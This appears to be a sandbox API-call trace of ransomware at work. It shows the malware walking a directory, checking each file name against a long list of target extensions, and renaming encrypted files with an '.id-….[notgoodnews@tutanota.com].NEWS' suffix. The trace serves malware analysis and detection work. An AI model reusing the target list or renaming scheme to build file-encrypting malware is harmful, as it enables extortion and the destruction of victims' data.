-1 [0063.725] lstrlenW (lpString=".mxl") returned 4 [0063.725] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".myd") returned 4 [0063.725] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".myi") returned 4 [0063.725] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".nef") returned 4 [0063.725] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".nrw") returned 4 [0063.726] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".obj") returned 4 [0063.726] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".odb") returned 4 [0063.726] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".odc") returned 4 [0063.726] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".odm") returned 4 [0063.726] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".odp") returned 4 [0063.726] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".ods") returned 4 [0063.726] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".oft") returned 4 [0063.726] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".one") returned 4 [0063.726] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".onepkg") returned 7 [0063.726] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0063.726] lstrlenW (lpString=".onetoc2") returned 8 [0063.726] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0063.726] lstrlenW (lpString=".opt") returned 4 [0063.726] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".oqy") returned 4 [0063.726] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".orf") returned 4 [0063.726] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".p12") returned 4 [0063.726] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".p7b") returned 4 [0063.726] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0063.726] lstrlenW (lpString=".p7c") returned 4 [0063.727] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pam") returned 4 [0063.727] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pbm") returned 4 [0063.727] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pct") returned 4 [0063.727] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pcx") returned 4 [0063.727] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pdd") returned 4 [0063.727] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pdf") returned 4 [0063.727] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pdp") returned 4 [0063.727] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pef") returned 4 [0063.727] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pem") returned 4 [0063.727] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pff") returned 4 [0063.727] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pfm") returned 4 [0063.727] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pfx") returned 4 [0063.727] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".pgm") returned 4 [0063.727] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".php") returned 4 [0063.727] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0063.727] lstrlenW (lpString=".php3") returned 5 [0063.728] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0063.728] lstrlenW (lpString=".php4") returned 5 [0063.728] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0063.728] lstrlenW (lpString=".php5") returned 5 [0063.728] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0063.728] lstrlenW (lpString=".phtml") returned 6 [0063.728] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0063.728] lstrlenW (lpString=".pict") returned 5 [0063.728] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0063.728] lstrlenW (lpString=".pl") returned 3 [0063.728] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0063.728] lstrlenW (lpString=".pls") returned 4 [0063.728] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0063.728] lstrlenW (lpString=".pm") returned 3 [0063.728] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0063.728] lstrlenW (lpString=".png") returned 4 [0063.728] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0063.728] lstrlenW (lpString=".pnm") returned 4 [0063.728] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0063.728] lstrlenW (lpString=".pot") returned 4 [0063.728] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0063.728] lstrlenW (lpString=".potm") returned 5 [0063.728] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0063.728] lstrlenW (lpString=".potx") returned 5 [0063.728] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0063.728] lstrlenW (lpString=".ppa") returned 4 [0063.728] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0063.728] lstrlenW (lpString=".ppam") returned 5 [0063.728] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0063.728] lstrlenW (lpString=".ppm") returned 4 [0063.728] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0063.728] lstrlenW (lpString=".pps") returned 4 [0063.728] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0063.728] lstrlenW (lpString=".ppsm") returned 5 [0063.728] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0063.728] lstrlenW (lpString=".ppt") returned 4 [0063.729] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".pptm") returned 5 [0063.729] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0063.729] lstrlenW (lpString=".pptx") returned 5 [0063.729] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0063.729] lstrlenW (lpString=".prn") returned 4 [0063.729] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".ps") returned 3 [0063.729] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0063.729] lstrlenW (lpString=".psb") returned 4 [0063.729] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".psd") returned 4 [0063.729] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".pst") returned 4 [0063.729] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".ptx") returned 4 [0063.729] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".pub") returned 4 [0063.729] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".pwm") returned 4 [0063.729] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".pxr") returned 4 [0063.729] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".py") returned 3 [0063.729] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0063.729] lstrlenW (lpString=".qt") returned 3 [0063.729] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0063.729] lstrlenW (lpString=".r3d") returned 4 [0063.729] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".raf") returned 4 [0063.729] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0063.729] lstrlenW (lpString=".rar") returned 4 [0063.729] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0063.730] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f618c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0063.730] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.730] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.730] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0063.730] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.730] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0063.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.730] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26 [0063.730] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d88 [0064.166] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.166] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0064.166] lstrlenW (lpString="eula.rtf") returned 8 [0064.166] lstrlenW (lpString=".1cd") returned 4 [0064.167] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.167] lstrlenW (lpString=".3ds") returned 4 [0064.167] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0064.167] lstrlenW (lpString=".3fr") returned 4 [0064.167] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0064.167] lstrlenW (lpString=".3g2") returned 4 [0064.167] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0064.167] lstrlenW (lpString=".3gp") returned 4 [0064.167] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0064.167] lstrlenW (lpString=".7z") returned 3 [0064.167] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.167] lstrlenW (lpString=".accda") returned 6 [0064.167] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0064.167] lstrlenW (lpString=".accdb") returned 6 [0064.167] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0064.167] lstrlenW (lpString=".accdc") returned 6 [0064.167] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0064.167] lstrlenW (lpString=".accde") returned 6 [0064.167] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0064.167] lstrlenW (lpString=".accdt") returned 6 [0064.167] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0064.167] lstrlenW (lpString=".accdw") returned 6 [0064.167] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0064.167] lstrlenW (lpString=".adb") returned 4 [0064.167] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0064.167] lstrlenW (lpString=".adp") returned 4 [0064.167] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0064.167] lstrlenW (lpString=".ai") returned 3 [0064.167] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0064.168] lstrlenW (lpString=".ai3") returned 4 [0064.168] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0064.168] lstrlenW (lpString=".ai4") returned 4 [0064.168] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0064.168] lstrlenW (lpString=".ai5") returned 4 [0064.168] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0064.168] lstrlenW (lpString=".ai6") returned 4 [0064.168] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0064.168] lstrlenW (lpString=".ai7") returned 4 [0064.168] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0064.168] lstrlenW (lpString=".ai8") returned 4 [0064.168] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0064.168] lstrlenW (lpString=".anim") returned 5 [0064.168] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0064.168] lstrlenW (lpString=".arw") returned 4 [0064.168] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0064.168] lstrlenW (lpString=".as") returned 3 [0064.168] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0064.168] lstrlenW (lpString=".asa") returned 4 [0064.168] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0064.168] lstrlenW (lpString=".asc") returned 4 [0064.168] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0064.168] lstrlenW (lpString=".ascx") returned 5 [0064.168] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0064.168] lstrlenW (lpString=".asm") returned 4 [0064.168] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0064.168] lstrlenW (lpString=".asmx") returned 5 [0064.168] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0064.168] lstrlenW (lpString=".asp") returned 4 [0064.169] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0064.169] lstrlenW (lpString=".aspx") returned 5 [0064.169] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0064.169] lstrlenW (lpString=".asr") returned 4 [0064.169] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0064.169] lstrlenW (lpString=".asx") returned 4 [0064.169] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0064.169] lstrlenW (lpString=".avi") returned 4 [0064.169] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0064.169] lstrlenW (lpString=".avs") returned 4 [0064.169] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0064.169] lstrlenW (lpString=".backup") returned 7 [0064.169] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0064.169] lstrlenW (lpString=".bak") returned 4 [0064.169] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0064.169] lstrlenW (lpString=".bay") returned 4 [0064.169] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0064.169] lstrlenW (lpString=".bd") returned 3 [0064.169] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0064.169] lstrlenW (lpString=".bin") returned 4 [0064.169] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0064.169] lstrlenW (lpString=".bmp") returned 4 [0064.169] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0064.169] lstrlenW (lpString=".bz2") returned 4 [0064.169] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.169] lstrlenW (lpString=".c") returned 2 [0064.169] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0064.169] lstrlenW (lpString=".cdr") returned 4 [0064.169] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".cer") returned 4 [0064.170] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".cf") returned 3 [0064.170] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0064.170] lstrlenW (lpString=".cfc") returned 4 [0064.170] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".cfm") returned 4 [0064.170] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".cfml") returned 5 [0064.170] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0064.170] lstrlenW (lpString=".cfu") returned 4 [0064.170] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".chm") returned 4 [0064.170] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".cin") returned 4 [0064.170] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".class") returned 6 [0064.170] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0064.170] lstrlenW (lpString=".clx") returned 4 [0064.170] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".config") returned 7 [0064.170] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0064.170] lstrlenW (lpString=".cpp") returned 4 [0064.170] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".cr2") returned 4 [0064.170] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".crt") returned 4 [0064.170] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".crw") returned 4 [0064.170] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".cs") returned 3 [0064.170] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0064.170] lstrlenW (lpString=".css") returned 4 [0064.170] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0064.170] lstrlenW (lpString=".csv") returned 4 [0064.171] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".cub") returned 4 [0064.171] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".dae") returned 4 [0064.171] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".dat") returned 4 [0064.171] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".db") returned 3 [0064.171] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0064.171] lstrlenW (lpString=".dbf") returned 4 [0064.171] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".dbx") returned 4 [0064.171] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".dc3") returned 4 [0064.171] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".dcm") returned 4 [0064.171] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".dcr") returned 4 [0064.171] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".der") returned 4 [0064.171] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".dib") returned 4 [0064.171] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".dic") returned 4 [0064.171] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".dif") returned 4 [0064.171] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".divx") returned 5 [0064.171] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0064.171] lstrlenW (lpString=".djvu") returned 5 [0064.171] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0064.171] lstrlenW (lpString=".dng") returned 4 [0064.171] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0064.171] lstrlenW (lpString=".doc") returned 4 [0064.172] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.172] lstrlenW (lpString=".docm") returned 5 [0064.172] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0064.172] lstrlenW (lpString=".docx") returned 5 [0064.172] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.172] lstrlenW (lpString=".dot") returned 4 [0064.172] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0064.172] lstrlenW (lpString=".dotm") returned 5 [0064.172] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0064.172] lstrlenW (lpString=".dotx") returned 5 [0064.172] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0064.172] lstrlenW (lpString=".dpx") returned 4 [0064.172] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0064.172] lstrlenW (lpString=".dqy") returned 4 [0064.172] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0064.172] lstrlenW (lpString=".dsn") returned 4 [0064.172] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0064.172] lstrlenW (lpString=".dt") returned 3 [0064.172] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0064.172] lstrlenW (lpString=".dtd") returned 4 [0064.172] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0064.172] lstrlenW (lpString=".dwg") returned 4 [0064.172] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0064.172] lstrlenW (lpString=".dwt") returned 4 [0064.172] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0064.172] lstrlenW (lpString=".dx") returned 3 [0064.172] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0064.172] lstrlenW (lpString=".dxf") returned 4 [0064.172] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0064.172] lstrlenW (lpString=".edml") returned 5 [0064.172] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0064.172] lstrlenW (lpString=".efd") returned 4 [0064.172] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0064.172] lstrlenW (lpString=".elf") returned 4 [0064.172] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".emf") returned 4 [0064.173] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".emz") returned 4 [0064.173] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".epf") returned 4 [0064.173] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".eps") returned 4 [0064.173] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".epsf") returned 5 [0064.173] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0064.173] lstrlenW (lpString=".epsp") returned 5 [0064.173] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0064.173] lstrlenW (lpString=".erf") returned 4 [0064.173] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".exr") returned 4 [0064.173] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".f4v") returned 4 [0064.173] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".fido") returned 5 [0064.173] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0064.173] lstrlenW (lpString=".flm") returned 4 [0064.173] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".flv") returned 4 [0064.173] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".frm") returned 4 [0064.173] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".fxg") returned 4 [0064.173] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".geo") returned 4 [0064.173] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".gif") returned 4 [0064.173] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0064.173] lstrlenW (lpString=".grs") returned 4 [0064.173] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".gz") returned 3 [0064.174] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0064.174] lstrlenW (lpString=".h") returned 2 [0064.174] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0064.174] lstrlenW (lpString=".hdr") returned 4 [0064.174] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".hpp") returned 4 [0064.174] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".hta") returned 4 [0064.174] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".htc") returned 4 [0064.174] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0064.174] lstrlenW (lpString=".htm") returned 4 [0064.174] 